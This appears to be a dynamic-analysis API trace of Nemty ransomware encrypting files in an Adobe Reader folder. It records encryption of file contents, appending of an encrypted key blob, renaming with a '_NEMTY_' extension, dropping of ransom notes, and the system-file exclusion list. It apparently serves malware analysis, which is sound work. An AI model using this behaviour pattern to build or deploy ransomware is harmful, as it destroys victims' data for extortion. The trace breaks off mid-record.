[0171.177] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.177] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0171.177] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e5dc | out: pszString="8xXqKEVl9ebvSkgX9Z2fUW2Pc3o+L80AdSQKCsjPCavqBwSd61jAspKEMpGeHAHO\r\nC4p34XkA0fWt8z5q49GmHU5cNoCPJboouf3HVLvEz4HYgnKcR2Y+KGgiisw2h35Z\r\ny6FVsP0040Pesc3CbOsddnzcOEHJV1ngGywQOWFbqihts8drpAMISNEKf7bE88ks\r\nzQyz+4EncQmT7oV5Rr5iQdeNJT6ZOlOTYisPwp0SpY1IiduT8MjmyMoKQzmx++IS\r\n5YKHAtClzDl89mR81ai8i4izaVw/yUo+vsLCiFCTwpaIuT5FwKzcakaScEMn4A8q\r\nue9Hg6It2jkQT2LFOyQIfw==\r\n", pcchString=0x653e5dc) returned 1 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0171.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.177] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.177] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=71041) returned 1 [0171.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11580) returned 0x6352c48 [0171.178] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.178] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11580, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11580, lpOverlapped=0x0) returned 1 [0171.190] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.190] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11580, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11580, lpOverlapped=0x0) returned 1 [0171.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.191] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=71041, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11581 [0171.191] WriteFile (in: hFile=0x3b0, lpBuffer=0x63401b8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63401b8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.191] CloseHandle (hObject=0x3b0) returned 1 [0171.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340328 [0171.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0171.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340478 [0171.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0171.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.191] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.192] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a851d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19a851d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a851d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.192] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.193] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a851d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19a851d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a851d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.193] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.193] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="CHS", cAlternateFileName="")) returned 1 [0171.193] lstrcmpiW (lpString1="CHS", lpString2=".") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="..") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="...") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="windows") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="$RECYCLE.BIN") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="rsa") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="NTDETECT.COM") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="ntldr") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="MSDOS.SYS") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="IO.SYS") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="boot.ini") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="boot.ini") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="AUTOEXEC.BAT") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="ntuser.dat") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="desktop.ini") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="CONFIG.SYS") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="RECYCLER") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="BOOTSECT.BAK") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="bootmgr") returned 1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="programdata") returned -1 [0171.194] lstrcmpiW (lpString1="CHS", lpString2="appdata") returned 1 [0171.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHS", lpUsedDefaultChar=0x0) returned 3 [0171.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHS", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHS", lpUsedDefaultChar=0x0) returned 3 [0171.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0171.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340110 [0171.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94310 [0171.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.196] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.196] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.197] CloseHandle (hObject=0x254) returned 1 [0171.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94310 [0171.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.198] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.198] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.199] CloseHandle (hObject=0x254) returned 1 [0171.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.199] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19af75f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19af75f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.200] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.200] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19af75f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19af75f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.200] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.200] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.200] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 